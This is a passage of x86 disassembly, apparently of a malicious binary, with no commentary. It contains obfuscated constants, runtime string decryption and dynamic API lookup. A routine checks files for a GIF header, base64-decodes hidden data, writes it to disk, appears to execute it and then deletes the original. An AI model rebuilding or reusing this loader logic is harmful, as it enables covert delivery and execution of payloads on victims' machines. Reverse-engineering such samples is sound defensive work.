mov ebx, dword_5510C0
add ebx, 7
mov edx, eax
imul edx, ebx
add edi, edx
mov [ebp+var_8], edi
mov edi, dword_551134
add edi, 13h
mov eax, esi
test eax, eax
jge short loc_445ED8
add eax, 0FFh
loc_445ED8: ; CODE XREF: sub_445E8D+44j
sar eax, 8
movsx ebx, word_5510F4
add ebx, 0Fh
mov edx, eax
imul edx, ebx
add edi, edx
mov [ebp+var_C], edi
mov edi, dword_5511F4
add edi, 18h
mov eax, esi
test eax, eax
jge short loc_445F03
add eax, 0FFFFh
loc_445F03: ; CODE XREF: sub_445E8D+6Fj
sar eax, 10h
movsx ebx, word_551144
mov ecx, dword_551180
lea ebx, [ebx+ecx+13h]
mov edx, eax
imul edx, ebx
add edi, edx
mov [ebp+var_10], edi
mov eax, esi
and eax, 0FFh
push eax
call sub_445A22
mov ebx, eax
mov [ebp+var_11], bl
mov eax, esi
mul [ebp+var_10]
mov [ebp+var_1C], eax
and eax, 0FFh
push eax
call sub_445A22
mov ebx, eax
mov [ebp+var_12], bl
mov eax, esi
mul [ebp+var_8]
mov [ebp+var_20], eax
and eax, 0FFh
push eax
call sub_445A22
mov ebx, eax
mov [ebp+var_1], bl
mov eax, dword_5510C8
add eax, 70h
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_43D23C
mov ebx, eax
mov [ebp+var_13], bl
movsx eax, word_551210
mov edx, dword_551124
lea eax, [eax+edx+5]
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_43D23C
mov ebx, eax
mov [ebp+var_14], bl
mov eax, dword_551168
add eax, 2Dh
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_43D23C
mov ebx, eax
mov [ebp+var_15], bl
mov eax, esi
mul [ebp+var_C]
mov [ebp+var_24], eax
and eax, 0FFh
push eax
call sub_445A22
mov ebx, eax
mov [ebp+var_16], bl
mov eax, dword_5510C8
add eax, 42h
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_445A22
mov ebx, eax
mov [ebp+var_17], bl
mov eax, dword_551204
add eax, 45h
movsx edx, word_551094
add eax, edx
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_43D23C
add esp, 24h
mov ebx, eax
mov [ebp+var_18], bl
movzx edi, [ebp+var_1]
mov eax, edi
shr eax, 1
movsx esi, word_5510D0
add esi, dword_551174
sub esi, 0Bh
mul esi
mov [ebp+var_28], eax
mov esi, eax
cmp esi, edi
jnz short loc_446094
push offset byte_55156D
call sub_43CAF7
movzx edi, [ebp+var_17]
push edi
movzx edi, [ebp+var_18]
push edi
movzx edi, [ebp+var_12]
push edi
movzx edi, [ebp+var_15]
push edi
movzx edi, [ebp+var_11]
push edi
movzx edi, [ebp+var_13]
push edi
movzx edi, [ebp+var_16]
push edi
movzx edi, [ebp+var_14]
push edi
movzx edi, [ebp+var_1]
push edi
push eax
push [ebp+arg_0]
call ds:dword_50E928
add esp, 30h
jmp short loc_4460D8
; ---------------------------------------------------------------------------
loc_446094: ; CODE XREF: sub_445E8D+1BFj
push offset word_551552
call sub_43CAF7
movzx edi, [ebp+var_17]
push edi
movzx edi, [ebp+var_18]
push edi
movzx edi, [ebp+var_12]
push edi
movzx edi, [ebp+var_15]
push edi
movzx edi, [ebp+var_11]
push edi
movzx edi, [ebp+var_13]
push edi
movzx edi, [ebp+var_16]
push edi
movzx edi, [ebp+var_14]
push edi
movzx edi, [ebp+var_1]
push edi
push eax
push [ebp+arg_0]
call ds:dword_50E928
add esp, 30h
loc_4460D8: ; CODE XREF: sub_445E8D+205j
pop edi
pop esi
pop ebx
leave
retn
sub_445E8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4460DD proc near ; CODE XREF: sub_442408+64p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
push [ebp+arg_0]
call ds:dword_48C218
mov ebx, eax
mov eax, dword_5510EC
dec eax
cmp ebx, eax
jz loc_44624B
push offset byte_55154D
call sub_43CAF7
push eax
push ebx
call ds:dword_44B1AC
mov ds:dword_448008, eax
push offset dword_551548
call sub_43CAF7
add esp, 8
push eax
push ebx
call ds:dword_44B1AC
mov ds:dword_449004, eax
mov eax, dword_551090
sub eax, 4
cmp ds:dword_449004, eax
jz loc_44624B
mov eax, dword_5510A4
sub eax, 7
cmp ds:dword_448008, eax
jz loc_44624B
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call ds:dword_449004
mov edi, eax
mov eax, dword_551200
add eax, dword_5511F8
sub eax, 2
cmp eax, edi
jnb short loc_446185
push ebx
call ds:dword_54FB1C
jmp loc_44624B
; ---------------------------------------------------------------------------
loc_446185: ; CODE XREF: sub_4460DD+9Aj
mov esi, dword_551114
add esi, 0FFFFFFFEh
mov eax, dword_5511A0
mov edi, eax
add edi, dword_551184
sub edi, 0Ch
jmp short loc_4461CD
; ---------------------------------------------------------------------------
loc_4461A0: ; CODE XREF: sub_4460DD+F6j
mov edx, [ebp+var_8]
cmp ds:dword_48C220[edi*4], edx
jnz short loc_4461CC
mov esi, edi
mov edx, [ebp+var_4]
cmp ds:dword_4CE920[edi*4], edx
jb short loc_4461CC
push ebx
call ds:dword_54FB1C
push [ebp+arg_0]
call ds:dword_44800C
jmp short loc_44624B
; ---------------------------------------------------------------------------
loc_4461CC: ; CODE XREF: sub_4460DD+CDj
; sub_4460DD+DBj
inc edi
loc_4461CD: ; CODE XREF: sub_4460DD+C1j
cmp edi, dword_5512A4
jb short loc_4461A0
mov eax, dword_551214
add eax, 0FFFFFFFCh
movsx edx, word_5510A8
add eax, edx
cmp esi, eax
jz short loc_446217
push ds:dword_50E950[esi*4]
call ds:dword_54FB1C
mov edi, [ebp+var_4]
mov ds:dword_4CE920[esi*4], edi
mov edi, ds:dword_448008
mov ds:dword_44B9E0[esi*4], edi
mov ds:dword_50E950[esi*4], ebx
jmp short loc_44624B
; ---------------------------------------------------------------------------
loc_446217: ; CODE XREF: sub_4460DD+10Bj
mov edi, dword_5512A4
mov edx, [ebp+var_8]
mov ds:dword_48C220[edi*4], edx
mov ds:dword_50E950[edi*4], ebx
mov ebx, ds:dword_448008
mov ds:dword_44B9E0[edi*4], ebx
mov ebx, [ebp+var_4]
mov ds:dword_4CE920[edi*4], ebx
inc dword_5512A4
loc_44624B: ; CODE XREF: sub_4460DD+1Bj
; sub_4460DD+60j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4460DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_446250 proc near ; CODE XREF: sub_43FB03+232p
; sub_43FB03+244p
var_61EA3 = byte ptr -61EA3h
var_61DA8 = dword ptr -61DA8h
var_61DA4 = dword ptr -61DA4h
var_61D9E = byte ptr -61D9Eh
var_61D9D = byte ptr -61D9Dh
var_61C9E = byte ptr -61C9Eh
var_61C9D = byte ptr -61C9Dh
var_61C9C = dword ptr -61C9Ch
var_61C98 = byte ptr -61C98h
var_30F58 = dword ptr -30F58h
var_30F54 = byte ptr -30F54h
var_30E50 = dword ptr -30E50h
var_30E4C = dword ptr -30E4Ch
var_30E48 = dword ptr -30E48h
var_30E44 = dword ptr -30E44h
var_30E3F = byte ptr -30E3Fh
var_30E3E = byte ptr -30E3Eh
var_30E3D = byte ptr -30E3Dh
var_30E3C = byte ptr -30E3Ch
var_30E3B = byte ptr -30E3Bh
var_30E3A = byte ptr -30E3Ah
var_30E15 = byte ptr -30E15h
var_30E14 = byte ptr -30E14h
var_30DC5 = byte ptr -30DC5h
var_30DBE = byte ptr -30DBEh
var_30DBD = byte ptr -30DBDh
var_30DBC = byte ptr -30DBCh
var_30D4E = byte ptr -30D4Eh
var_30D4A = byte ptr -30D4Ah
var_30D40 = byte ptr -30D40h
var_30D3F = byte ptr -30D3Fh
var_30D3D = byte ptr -30D3Dh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 61EA4h
call sub_4475B4
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov eax, dword_551180
movsx edx, word_551118
add eax, edx
sub eax, 8
push eax
mov eax, dword_551114
dec eax
push eax
push 3
mov eax, dword_5510C8
dec eax
push eax
mov eax, dword_5510E0
sub eax, 6
push eax
push 80000000h
push [ebp+arg_0]
call ds:dword_54FB18
mov [ebp+var_30E48], eax
and [ebp+var_30F58], 0
and [ebp+var_30E50], 0
cmp eax, 0FFFFFFFFh
jz loc_4467ED
mov eax, dword_5510D4
add eax, dword_5511EC
sub eax, 8
push eax
lea eax, [ebp+var_30E4C]
push eax
mov eax, dword_551174
add eax, 7Ch
add eax, dword_5510EC
push eax
lea eax, [ebp+var_30E3F]
push eax
push [ebp+var_30E48]
call ds:dword_448034
mov [ebp+var_30E44], eax
mov eax, dword_5510B0
movsx edx, word_551104
add eax, edx
sub eax, 5
cmp [ebp+var_30E44], eax
jz loc_4467CF
cmp [ebp+var_30E3C], 38h
jnz short loc_44632F
cmp [ebp+var_30E3B], 39h
jnz short loc_44632F
cmp [ebp+var_30E3A], 61h
jz short loc_446334
loc_44632F: ; CODE XREF: sub_446250+CBj
; sub_446250+D4j
jmp loc_4467CF
; ---------------------------------------------------------------------------
loc_446334: ; CODE XREF: sub_446250+DDj
cmp [ebp+var_30E3F], 47h
jnz short loc_44634F
cmp [ebp+var_30E3E], 49h
jnz short loc_44634F
cmp [ebp+var_30E3D], 46h
jz short loc_446354
loc_44634F: ; CODE XREF: sub_446250+EBj
; sub_446250+F4j
jmp loc_4467CF
; ---------------------------------------------------------------------------
loc_446354: ; CODE XREF: sub_446250+FDj
movzx eax, [ebp+var_30E15]
mov edx, dword_5511E4
add edx, 37h
cmp eax, edx
jnz short loc_44637A
cmp [ebp+var_30DBE], 3Dh
jnz short loc_44637A
cmp [ebp+var_30DBD], 3Dh
jz short loc_44637F
loc_44637A: ; CODE XREF: sub_446250+116j
; sub_446250+11Fj
jmp loc_4467CF
; ---------------------------------------------------------------------------
loc_44637F: ; CODE XREF: sub_446250+128j
or ebx, ebx
jnz short loc_4463C9
call sub_43DB30
mov edx, eax
mov [ebp+var_61C9E], dl
mov al, [ebp+var_30DBC]
mov [ebp+var_61C9D], al
mov eax, dword_5510BC
cmp [ebp+eax+var_30DBC], 40h
jnz short loc_4463B7
mov [ebp+var_30E50], 1
jmp short loc_4463C9
; ---------------------------------------------------------------------------
loc_4463B7: ; CODE XREF: sub_446250+159j
mov al, [ebp+var_61C9E]
cmp al, [ebp+var_61C9D]
jz loc_4467CF
loc_4463C9: ; CODE XREF: sub_446250+131j
; sub_446250+165j
mov eax, dword_5510D8
sub eax, 6
push eax
lea eax, [ebp+var_30E4C]
push eax
push 30D40h
lea eax, [ebp+var_61C98]
push eax
push [ebp+var_30E48]
call ds:dword_448034
mov [ebp+var_30E44], eax
mov eax, dword_5510B0
sub eax, 5
cmp [ebp+var_30E44], eax
jz loc_4467CF
mov eax, [ebp+var_30E4C]
mov edx, dword_551100
sub edx, 9
mov [ebp+eax+var_61C98], dl
push 30D40h
lea eax, [ebp+var_30D40]
push eax
lea eax, [ebp+var_61C98]
push eax
call sub_446AA8
add esp, 0Ch
mov esi, eax
movsx edi, word_5510CC
dec edi
jmp short loc_44648D
; ---------------------------------------------------------------------------
loc_446448: ; CODE XREF: sub_446250+23Fj
or ebx, ebx
jz short loc_44645F
movzx eax, [ebp+edi+var_30D40]
sub eax, edi
mov [ebp+edi+var_30D40], al
jmp short loc_44648C
; ---------------------------------------------------------------------------
loc_44645F: ; CODE XREF: sub_446250+1FAj
movzx eax, [ebp+edi+var_30D40]
mov [ebp+var_61DA4], eax
mov eax, edi
mul edi
mov [ebp+var_61DA8], eax
mov eax, [ebp+var_61DA4]
mov edx, [ebp+var_61DA8]
sub eax, edx
mov [ebp+edi+var_30D40], al
loc_44648C: ; CODE XREF: sub_446250+20Dj
inc edi
loc_44648D: ; CODE XREF: sub_446250+1F6j
cmp edi, esi
jb short loc_446448
or ebx, ebx
jz short loc_4464B8
movsx eax, word_5510D0
sub eax, 5
mov edx, esi
sub edx, eax
mov eax, dword_551124
add eax, dword_551188
sub eax, 7
mov [ebp+edx+var_30D40], al
loc_4464B8: ; CODE XREF: sub_446250+243j
mov eax, dword_551110
mov edx, dword_551168
add edx, dword_551178
sub edx, 0Bh
mov [ebp+eax+var_30DC5], dl
push 0FFh
lea eax, [ebp+var_61D9D]
push eax
lea eax, [ebp+var_30E14]
push eax
call sub_446AA8
lea eax, [ebp+var_61D9D]
push eax
push esi
lea eax, [ebp+var_30D40]
push eax
call sub_43D3AD
add esp, 18h
mov [ebp+var_30E44], eax
mov eax, dword_5511C8
movsx edx, word_551198
add eax, edx
sub eax, 9
cmp [ebp+var_30E44], eax
jnz loc_4467CF
mov [ebp+var_30F58], 1
or ebx, ebx
jz loc_446677
mov eax, dword_5511D0
add eax, dword_5511F8
cmp [ebp+eax+var_30D4A], 64h
jnz loc_4465E5
movzx eax, [ebp+var_30D3F]
movsx edx, word_551164
add edx, 1Fh
sub eax, edx
mov [ebp+var_61D9E], al
movzx eax, [ebp+var_61D9E]
push eax
mov eax, dword_5510B0
add eax, dword_551204
sub eax, 7
push eax
call sub_43F090
mov eax, dword_551234
movsx edx, word_5511A4
add eax, edx
sub eax, 0Eh
mov ds:dword_44B5D0, eax
mov eax, dword_5511FC
mov dword_5512A0, eax
mov eax, dword_5511D0
add eax, dword_551110
movsx edx, word_551210
add edx, dword_55117C
sub edx, 0Ch
mov [ebp+eax+var_30D4E], dl
mov eax, dword_5511AC
add eax, dword_551150
sub eax, 5
push eax
lea eax, [ebp+var_30D40]
push eax
call sub_446D68
add esp, 10h
loc_4465E5: ; CODE XREF: sub_446250+2FAj
mov eax, dword_5510BC
cmp [ebp+eax+var_30D40], 67h
jnz loc_4467CF
mov eax, dword_5510A4
mov edx, dword_5511EC
movsx ecx, word_5510A8
add edx, ecx
sub edx, 3
mov [ebp+eax+var_30D3D], dl
lea eax, [ebp+var_30D3F]
push eax
call ds:dword_44901C
mov [ebp+var_61DA4], eax
push eax
push offset dword_54E970
call sub_445E8D
mov eax, dword_5511D4
add eax, dword_5511EC
sub eax, 0Bh
mov ds:dword_44B5D0, eax
mov eax, dword_5510A0
add eax, dword_5511C8
sub eax, 0Bh
mov dword_5512A0, eax
mov eax, dword_551120
sub eax, 7
push eax
lea eax, [ebp+var_30D40]
push eax
call sub_446D68
add esp, 14h
jmp loc_4467CF
; ---------------------------------------------------------------------------
loc_446677: ; CODE XREF: sub_446250+2E1j
cmp [ebp+var_30E50], 0
jz short loc_4466F7
call ds:dword_54EA70
mov [ebp+var_61DA4], eax
push offset asc_551539 ; "\v"
call sub_43CAF7
push [ebp+var_61DA4]
mov edx, dword_5510A4
dec edx
push edx
push eax
lea edx, [ebp+var_61EA3]
push edx
call ds:dword_50E928
lea eax, [ebp+var_30F54]
push eax
movsx eax, word_551094
sub eax, 2
push eax
mov eax, dword_551214
sub eax, 3
push eax
push 1Ch
movsx eax, word_551194
dec eax
push eax
call ds:dword_48BA00
lea eax, [ebp+var_61EA3]
push eax
lea eax, [ebp+var_30F54]
push eax
call ds:dword_44802C
add esp, 1Ch
jmp short loc_446725
; ---------------------------------------------------------------------------
loc_4466F7: ; CODE XREF: sub_446250+42Ej
mov eax, dword_551120
dec eax
push eax
lea eax, [ebp+var_30F54]
push eax
call sub_43EDF9
push offset byte_551531
call sub_43CAF7
push eax
lea edx, [ebp+var_30F54]
push edx
call ds:dword_44802C
add esp, 14h
loc_446725: ; CODE XREF: sub_446250+4A5j
mov eax, dword_551120
sub eax, 8
push eax
push 80h
push 2
movsx eax, word_55109C
add eax, dword_5511AC
sub eax, 8
push eax
movsx eax, word_5511CC
sub eax, 9
push eax
push 40000000h
lea eax, [ebp+var_30F54]
push eax
call ds:dword_54FB18
mov [ebp+var_61C9C], eax
mov eax, dword_55122C
movsx edx, word_551240
add eax, edx
sub eax, 0Fh
push eax
lea eax, [ebp+var_30E4C]
push eax
push esi
lea eax, [ebp+var_30D40]
push eax
push [ebp+var_61C9C]
call ds:dword_54FF1C
push [ebp+var_61C9C]
call ds:dword_4CD948
cmp [ebp+var_30E50], 0
jnz short loc_4467CA
push 5
lea eax, [ebp+var_30F54]
push eax
call ds:dword_44B094
movzx eax, [ebp+var_61C9D]
push eax
call sub_43DD8A
pop ecx
jmp short loc_4467CF
; ---------------------------------------------------------------------------
loc_4467CA: ; CODE XREF: sub_446250+559j
call sub_43E501
loc_4467CF: ; CODE XREF: sub_446250+BEj
; sub_446250:loc_44632Fj ...
push [ebp+var_30E48]
call ds:dword_4CD948
cmp [ebp+var_30F58], 0
jz short loc_4467ED
push [ebp+arg_0]
call ds:dword_44800C
loc_4467ED: ; CODE XREF: sub_446250+63j
; sub_446250+592j
pop edi
pop esi
pop ebx
leave
retn
sub_446250 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4467F2 proc near ; DATA XREF: sub_443843+190o
push ebp
mov ebp, esp
loc_4467F5: ; CODE XREF: sub_4467F2+41j
movsx eax, word_551208
movsx edx, word_5511CC
add eax, edx
sub eax, 0Ah
push eax
call ds:dword_50E924
pop ecx
mov eax, dword_55114C
add eax, dword_551100
sub eax, 0Bh
push eax
push offset sub_43DA83
mov eax, dword_5510A4
sub eax, 7
push eax
call ds:dword_449010
jmp short loc_4467F5
sub_4467F2 endp
; ---------------------------------------------------------------------------
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_446839 proc near ; CODE XREF: sub_446ED7+33Fp
var_10034 = byte ptr -10034h
var_10030 = dword ptr -10030h
var_1002B = byte ptr -1002Bh
var_2C = byte ptr -2Ch
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_4 = dword ptr -4
push ebp
mov ebp, esp
mov eax, 10030h
call sub_4475B4
push ebx
push esi
push edi
movsx eax, word_5511C4
sub eax, 8
cmp ds:dword_449FC4, eax
jz loc_446AA3
mov eax, dword_551140
add eax, dword_551100
sub eax, 0Ah
push eax
push dword_551180
mov eax, dword_551174
sub eax, 7
push eax
lea eax, [ebp+var_4]
push eax
call ds:dword_449FC4
mov ebx, eax
mov eax, dword_55120C
movsx edx, word_551094
add eax, edx
sub eax, 6
cmp ebx, eax
jnz loc_446AA3
lea eax, [ebp+var_18]
push eax
movsx eax, word_551198
add eax, dword_5511EC
sub eax, 4
push eax
mov eax, dword_551100
sub eax, 9
push eax
mov eax, [ebp+var_4]
push eax
mov edi, [eax]
call dword ptr [edi+38h]
mov ebx, eax
movsx eax, word_551144
movsx edx, word_5510B4
add eax, edx
sub eax, 9
cmp ebx, eax
jnz loc_446A8F
loc_4468E6: ; CODE XREF: sub_446839+128j
; sub_446839+15Ej
movsx eax, word_5510C4
sub eax, 6
push eax
lea eax, [ebp+var_14]
push eax
movsx eax, word_5510F8
sub eax, 4
push eax
mov eax, [ebp+var_18]
push eax
mov edi, [eax]
call dword ptr [edi+0Ch]
mov ebx, eax
mov eax, dword_5510C0
movsx edx, word_5511F0
add eax, edx
sub eax, 8
cmp ebx, eax
jnz loc_446A57
lea eax, [ebp+var_1C]
push eax
movsx eax, word_5511A4
sub eax, 6
push eax
lea eax, [ebp+var_14]
push eax
mov eax, dword_5511C8
add eax, dword_551204
sub eax, 0Ah
push eax
mov eax, [ebp+var_4]
push eax
mov edi, [eax]
call dword ptr [edi+3Ch]
mov ebx, eax
mov eax, dword_5511F8
add eax, dword_5510DC
sub eax, 7
cmp ebx, eax
jnz short loc_4468E6
loc_446963: ; CODE XREF: sub_446839+219j
mov eax, dword_551110
sub eax, 9
push eax
lea eax, [ebp+var_2C]
push eax
mov eax, dword_551120
movsx edx, word_5510A8
add eax, edx
sub eax, 7
push eax
mov eax, [ebp+var_1C]
push eax
mov edi, [eax]
call dword ptr [edi+0Ch]
mov ebx, eax
mov eax, dword_551228
sub eax, 8
cmp ebx, eax
jnz loc_4468E6
mov eax, dword_5511DC
movsx edx, word_551198
add eax, edx
dec eax
push eax
lea eax, [ebp+var_10030]
push eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_14]
push eax
mov eax, dword_5511F4
sub eax, 9
push eax
mov eax, [ebp+var_4]
push eax
mov edi, [eax]
call dword ptr [edi+28h]
mov ebx, eax
movsx eax, word_551208
add eax, dword_551234
mov edx, dword_5510E8
movsx ecx, word_551128
add edx, ecx
sub edx, 6
mov [ebp+eax+var_10034], dl
movsx eax, word_5511A4
add eax, dword_551150
sub eax, 0Ah
cmp ebx, eax
jnz short loc_446A22
lea eax, [ebp+var_1002B]
push eax
mov eax, [ebp+var_10030]
push dword ptr [eax+4]
call sub_43DBFE
add esp, 8
loc_446A22: ; CODE XREF: sub_446839+1CFj
lea eax, [ebp+var_1002B]
push eax
lea esi, [ebp+var_2C]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_14]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
push [ebp+var_4]
call sub_440364
add esp, 28h
jmp loc_446963
; ---------------------------------------------------------------------------
loc_446A57: ; CODE XREF: sub_446839+E5j
mov eax, dword_551114
add eax, dword_5510AC
sub eax, 8
cmp [ebp+var_1C], eax
jz short loc_446A73
mov eax, [ebp+var_1C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_446A73: ; CODE XREF: sub_446839+22Fj
mov eax, dword_551098
add eax, dword_5511D8
sub eax, 0Dh
cmp [ebp+var_18], eax
jz short loc_446A8F
mov eax, [ebp+var_18]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_446A8F: ; CODE XREF: sub_446839+A7j
; sub_446839+24Bj
mov eax, dword_5510EC
dec eax
cmp [ebp+var_4], eax
jz short loc_446AA3
mov eax, [ebp+var_4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_446AA3: ; CODE XREF: sub_446839+20j
; sub_446839+63j ...
pop edi
pop esi
pop ebx
leave
retn
sub_446839 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_446AA8 proc near ; CODE XREF: sub_43D535+103p
; sub_446250+1E4p ...
var_41C = dword ptr -41Ch
var_418 = dword ptr -418h
var_40D = byte ptr -40Dh
var_40C = dword ptr -40Ch
var_408 = dword ptr -408h
var_404 = dword ptr -404h
var_400 = dword ptr -400h
var_358 = dword ptr -358h
var_34C = dword ptr -34Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 41Ch
push ebx
push esi
push edi
movsx esi, word_5510A8
jmp short loc_446ADA
; ---------------------------------------------------------------------------
loc_446ABD: ; CODE XREF: sub_446AA8+3Ej
movsx edx, word_551164
movsx ecx, word_551190
add edx, ecx
sub edx, 8
neg edx
mov [ebp+esi*4+var_400], edx
inc esi
loc_446ADA: ; CODE XREF: sub_446AA8+13j
mov eax, dword_551124
add eax, 0FEh
cmp esi, eax
jb short loc_446ABD
mov eax, dword_55119C
movsx edx, word_551244
add eax, edx
sub eax, 0Bh
mov [ebp+var_404], eax
mov edi, dword_55112C
add edi, 27h
movsx eax, word_5510CC
add edi, eax
jmp short loc_446B2E
; ---------------------------------------------------------------------------
loc_446B13: ; CODE XREF: sub_446AA8+90j
mov edx, dword_551234
add edx, dword_5511F4
sub edx, 0Dh
mov ecx, edi
add ecx, edx
mov [ebp+edi*4+var_400], ecx
inc edi
loc_446B2E: ; CODE XREF: sub_446AA8+69j
mov eax, dword_551238
add eax, 3Ah
cmp edi, eax
jb short loc_446B13
mov ebx, [ebp+arg_4]
movsx esi, word_551244
sub esi, 7
movsx edi, word_5510C4
sub edi, 6
jmp short loc_446B8A
; ---------------------------------------------------------------------------
loc_446B53: ; CODE XREF: sub_446AA8+F6j
movsx edx, word_551104
add edx, 41h
mov ecx, edi
add ecx, edx
mov [ebp+ecx*4+var_400], edi
mov edx, dword_551100
add edx, 58h
mov ecx, edi
add ecx, edx
mov edx, dword_5511BC
add edx, 14h
mov eax, edi
add eax, edx
mov [ebp+ecx*4+var_400], eax
inc edi
loc_446B8A: ; CODE XREF: sub_446AA8+A9j
movsx eax, word_551144
movsx edx, word_55109C
lea eax, [eax+edx+10h]
cmp edi, eax
jb short loc_446B53
mov edx, dword_5510C0
mov ecx, dword_5510BC
add ecx, 3Fh
mov [ebp+edx*4+var_34C], ecx
movsx edx, word_551198
mov ecx, dword_5511EC
add ecx, 34h
add ecx, dword_5511D0
mov [ebp+edx*4+var_358], ecx
movsx eax, word_551128
add eax, dword_551228
sub eax, 0Dh
mov [ebp+var_40C], eax
mov eax, [ebp+arg_8]
add eax, [ebp+arg_4]
mov [ebp+var_408], eax
mov edi, [ebp+arg_0]
jmp loc_446D3E
; ---------------------------------------------------------------------------
loc_446BFD: ; CODE XREF: sub_446AA8+2A1j
movsx edx, byte ptr [edi]
shl edx, 2
mov esi, [ebp+edx+var_400]
mov eax, dword_5511B4
sub eax, 3
neg eax
cmp esi, eax
jz loc_446D3D
mov eax, [ebp+var_404]
or eax, eax
jl loc_446D37
cmp eax, 3
jg loc_446D37
jmp off_551460[eax*4]
loc_446C3A: ; DATA XREF: .data:off_551460o
inc [ebp+var_404]
jmp loc_446D37
; ---------------------------------------------------------------------------
loc_446C45: ; CODE XREF: sub_446AA8+18Bj
; DATA XREF: .data:00551464o
mov edx, [ebp+var_40C]
movsx ecx, word_551240
sub ecx, 6
mov eax, edx
shl eax, cl
mov [ebp+var_418], eax
mov edx, esi
and edx, 30h
mov ecx, dword_551114
add ecx, dword_551200
sub ecx, 2
mov eax, edx
sar eax, cl
mov edx, [ebp+var_418]
or edx, eax
mov [ebp+var_40D], dl
mov eax, ebx
inc ebx
mov dl, [ebp+var_40D]
mov [eax], dl
inc [ebp+var_404]
jmp loc_446D37
; ---------------------------------------------------------------------------
loc_446C9B: ; CODE XREF: sub_446AA8+18Bj
; DATA XREF: .data:00551468o
mov edx, [ebp+var_40C]
and edx, 0Fh
movsx ecx, word_551198
mov eax, dword_551238
lea ecx, [ecx+eax+3]
mov eax, edx
shl eax, cl
mov [ebp+var_41C], eax
mov edx, esi
and edx, 3Ch
mov ecx, dword_5510E0
add ecx, dword_5511FC
sub ecx, 4
mov eax, edx
sar eax, cl
mov edx, [ebp+var_41C]
or edx, eax
mov [ebp+var_40D], dl
mov eax, ebx
inc ebx
mov dl, [ebp+var_40D]
mov [eax], dl
inc [ebp+var_404]
jmp short loc_446D37
; ---------------------------------------------------------------------------
loc_446CF7: ; CODE XREF: sub_446AA8+18Bj
; DATA XREF: .data:0055146Co
mov edx, [ebp+var_40C]
and edx, 3
movsx ecx, word_551118
add ecx, dword_5511A0
sub ecx, 0Ah
mov eax, edx
shl eax, cl
mov edx, eax
or edx, esi
mov [ebp+var_40D], dl
mov eax, ebx
inc ebx
mov dl, [ebp+var_40D]
mov [eax], dl
mov eax, dword_551108
sub eax, 8
mov [ebp+var_404], eax
loc_446D37: ; CODE XREF: sub_446AA8+17Cj
; sub_446AA8+185j ...
mov [ebp+var_40C], esi
loc_446D3D: ; CODE XREF: sub_446AA8+16Ej
inc edi
loc_446D3E: ; CODE XREF: sub_446AA8+150j
cmp byte ptr [edi], 0
jz short loc_446D4F
cmp ebx, [ebp+var_408]
jb loc_446BFD
loc_446D4F: ; CODE XREF: sub_446AA8+299j
cmp byte ptr [edi], 0
jnz short loc_446D5B
mov eax, ebx
sub eax, [ebp+arg_4]
jmp short loc_446D63
; ---------------------------------------------------------------------------
loc_446D5B: ; CODE XREF: sub_446AA8+2AAj
mov eax, dword_5511DC
inc eax
neg eax
loc_446D63: ; CODE XREF: sub_446AA8+2B1j
pop edi
pop esi
pop ebx
leave
retn
sub_446AA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_446D68 proc near ; CODE XREF: sub_446250+38Dp
; sub_446250+41Ap
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
movsx eax, word_5511F0
sub eax, 6
push eax
push 80h
push 4
mov eax, dword_551178
add eax, dword_5511B4
sub eax, 0Dh
push eax
mov eax, dword_551120
movsx edx, word_5511A8
add eax, edx
sub eax, 8
push eax
push 40000000h
push offset dword_4CC230
call ds:dword_54FB18
mov edi, eax
push 0
mov eax, dword_5511B8
add eax, dword_5510C0
sub eax, 6
push eax
push [ebp+arg_4]
push edi
call ds:dword_54FF30
mov eax, [ebp+arg_0]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_446DD7: ; CODE XREF: sub_446D68+74j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_446DD7
mov esi, eax
mov ebx, dword_5511E0
sub ebx, 4
push ebx
lea ebx, [ebp+var_4]
push ebx
push esi
push [ebp+arg_0]
push edi
call ds:dword_54FF1C
push edi
call ds:dword_4CD948
pop edi
pop esi
pop ebx
leave
retn
sub_446D68 endp
; =============== S U B R O U T I N E =======================================
sub_446E05 proc near ; CODE XREF: sub_446ED7+16p
push edi
push offset byte_551521
call sub_43CAF7
pop ecx
push eax
call ds:dword_44B598
mov dword_551268, eax
movsx eax, word_551190
sub eax, 8
cmp dword_551268, eax
jnz short loc_446E46
push offset byte_551511
call sub_43CAF7
pop ecx
push eax
call ds:dword_48C218
mov dword_551268, eax
loc_446E46: ; CODE XREF: sub_446E05+28j
push offset dword_551500
call sub_43CAF7
push eax
push dword_551268
call ds:dword_44B1AC
mov ds:dword_54FF34, eax
push offset word_5514EE
call sub_43CAF7
push eax
push dword_551268
call ds:dword_44B1AC
